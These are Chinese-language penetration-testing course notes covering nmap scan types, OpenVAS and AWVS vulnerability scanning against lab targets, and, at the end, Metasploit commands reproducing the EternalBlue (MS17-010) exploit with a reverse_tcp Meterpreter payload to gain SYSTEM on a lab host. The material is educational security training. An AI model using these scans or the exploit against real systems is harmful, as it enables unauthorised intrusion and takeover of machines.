目录
扫描技术
扫描
自动化
提高效率
资产发现
发现目标环境中有哪些资产,资产就是联网设备,主机,服务器,各种服务等。
资产整理,发现,收集。
主机发现、端口扫描。
扫描神器(nmap)【效率高】
官网:nmap.org
nmap工具是跨平台的
nmap自动集成在 kali
建议:如果使用kali 中的nmap 扫描的时候,建议桥接
推荐书籍:nmap渗透测试指南
如果在没有指定端口的情况下,默认扫描top 1000 个端口。
主机发现
有哪些主机在线,IP 地址
端口扫描
主机开启的端口?
端口上的服务?
扫描方式
TCP 全链接扫描
SYN 半连接扫描
隐蔽扫描
Null 扫描
Xmas 扫描
FIN 扫描
参数
参数可以任意调换顺序
-sP/-sn 不进行端口扫描
-p 指定端口
-p 80
-p 1-80
-p 80,3389,8080
-p 1-65535
-p- 就是1-65535的意思-sT TCP全连接扫描 ——》会建立完整的三次握手过程
-sS SYN半连接扫描——》只进行三次握手的前两次以下三中隐蔽扫描不适用于windows系统
这三种隐蔽扫描都是去发送畸形的数据包(比如null扫描,我给你发的包标志位全为0,但是对方没给你回包)
-sN Null扫描
-sX Xmas扫描
-sF Fin扫描
-sV 显示服务的详细版本
-O 获取操作系统类型(不太准确,尤其是扫描windows系统)
-oN/-oX 保存扫描结果,txt/xml(xml也是一种标签语言)
xml和xpath 可以自学以下
-A 全面扫描
-T0 ~ -T5 时序选项
以上都可以用wireshark抓包看一下!
Nmap命令
nmap
nmap 127.0.0.1
nmap 192.168.1.0/24 -sP
namp 127.0.0.1 -p-
nmap 192.168.1.1 -p 80 -sT
nmap 192.168.1.1 -p 80 -sS
nmap 192.168.1.1 -p 80 -sX
nmap 192.168.1.1 -p 80 -sN
nmap 192.168.1.1 -p 80 -sF
namp -sV 127.0.0.1 -p 22
nmap -p- -A 127.0.0.1 -oN result.txt
nmap扫描时的端口状态
开放
关闭
过滤
未过滤
开放 | 过滤
关闭 | 过滤
kali中关闭网卡的命令是:ifdown eth1,开启是ifup eth0
工具
wireshark
ipaddr == 10.0.105.1 and tcp.port == 80
过滤
扫描技术---网络漏洞扫描
我们可以通过网络漏洞扫描,全面掌握目标服务器存在的安全隐患。市面上常用的扫描器有Nessus(其次)、NeXpose(个人认为最厉害)、OpenVAS(免费开源)等,这是扫描器都有商业版和家庭版
我们这里使用的是OpenVAS,可以用来识别远程主机、Web应用存在的各种漏洞。Nessus 曾是业内开源扫描工具的的标准,在Nessus 商业化不再开放源代码后,在它的原始项目中分支出OpenVAS 开源项目。经过多年发展,OpenVAS已经成为当前最好的开源漏洞扫描器,功能非常强大,甚至可以跟一些商业漏洞扫描器相媲美。
OpenVAS 使用 NVT 脚本对多种远程系统(包括Windows、Linux、UNIX 以及Web 应用程序)的安全问题进行检测
NVT脚本就是我们常说的漏洞库,也就是说它扫描是时候是基于已知漏洞的扫描
扫描器是否强大,最核心的地方就是它的漏洞库,一个一个去匹配
漏洞扫描原理
网络漏洞扫描是指利用一些自动化的工具发现网上的各类主机设备的安全漏洞。
漏洞扫描通常分为两大类
*黑盒扫描
黑河扫描一般通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了一些更高级的的技术,比如模拟渗透攻击
黑盒扫描就是通过远程识别服务的漏洞
*白盒测试
白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送详细的操作系统补丁
白盒扫描的结果更加准确,但是一般来说他所是被出来的漏洞不应当直接作为渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透的测试中得到利用。同时,一般情况下,你是没有机会获取用户的用户名和口令。
漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能匹配上,就说明存在一个漏洞。
漏洞扫描器再识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为会被对方的入侵检测设备发现。
漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际不存在)或者漏报(未报告发现的漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏洞是实际存在的,这个过程叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响降到最低。
OpenVAS扫描实验
*官网 www.openvas.org
靶机:win2008虚拟机
IP:192.168.3.80/24
扫描器:openvas
启动phpstudy
1、扫描目标
开始进行扫描的时候需要新建一个目标。
新建目标
填写好相关信息,点击[Create].
点击configuration---》Targets——》点击——》。。见下图 。。——》save
2、扫描策略
查看扫描模板,就是扫描过程中使用的扫描策略和配置,这些扫描模板也可自己配置。
3、扫描任务
创建好目标之后,我们创建扫描任务。
新建任务
(策略是在创建任务的时候一起来完成):
Scan——》Tasks——》——》见下图——》开启
4、扫描完成
点击任务状态,可以查看扫描结果
这里我们发现目标主机存在“永恒之蓝”漏洞
5、扫描报告
我们将扫描结果以报告的形式保存下来。
Web 漏洞扫描
随着互联网的发展,Web 应用越来越多,同时Web 应用的攻击成本、攻击难度都比较低,Web 应用成为黑客攻击的主要目标。无论黑客处于什么样的目的,Web 应用所面临的挑战都很大的。
如何即时、快速的发现漏洞,并且修补漏洞,减轻和消除Web 安全风险成为安全行业的重要课题
小型的Web 应用几十上百个页面,大型的Web 应用成千上万个页面,如果靠人工的方法,显然是不可取的。因此我们就需要借助与自动化工具,帮助审计员去发现Web 漏洞。
市面上的Web 漏洞扫描器有很多,其中IBM 公司的AppScan 和商业化Web 漏洞扫描器AWVS 为优秀。Web 漏洞扫描器大同小异,本课程以AWVS 为例子,讲解Web 漏洞扫描器的使用。
使用AWVS 扫描testfire.net
AVWS 低版本 客户端软件
高版本的都是web页面
也就是说我们低版本的avws都是一个本地客户端的应用程序,高版本的是web界面(通过web方式去访问的)
在win7上安装awvs软件
安装AVWS步骤
一直next——》finish
出现如下界面:next
打开软件
出现一个弹框——cancel
扫描完成:
把扫描结果保存起来
*创建扫描目标
点击[New Scan],即可打开扫描向导,在Website URL中输入网址[http://www.testfire.net],跟着向导一步一步配置即可。
设置扫描策略,如果没有特殊要求,默认即可。
在目标阶段,AVWS会自动识别目标web服务相关信息,包括系统、web容器类型和版本、中间件信息。
如果网站有登录框,可以将测试账号账密填写在下方
点击finish,即可完成扫描向导,开始扫描工作。
Web漏洞扫描需要一定的时间,等待即可。下图是扫描完成的结果。
整个页面布局左/中/右三个部分。最左侧是一些小工具列表。
中间部分是漏洞点和网站结构目录
使用方法
1、点击File——New——Web site scan——选择扫描的url——》next
Web 漏洞扫描原理
进行Web 漏洞扫描的时候,大致分为以下几个步骤:
@ 1、爬行网站目录结构???
asp网站
.net网站
php网站
但是框架类的不建议扫描
JAVA框架
index.php
@ 2、使用漏洞脚本扫描
@ 3、保存扫描结果
关于漏洞要关注:
漏洞名称
漏洞风险等级:高危 | 中危 | 低危 | 信息漏洞
漏洞的描述
漏洞的危害?
前半部分
后半部分
修复建议
前半部分
后半部分
永恒之蓝漏洞复现
MS17-010俗称永恒之蓝
工具:MSF(集成在kali)
metasploit framework
具体过程
·msfconsole # 启动
·search MS17-010
·use exploit/windows/smb/ms17_010_eternalblue
·set payload windows/x64/meterpreter/reverse_tcp
·set RHOSTS 192.168.1.143 //目标靶机ip
·set LHOST 192.168.1.142 //本机IP
·exploit
成功拿到靶机的system权限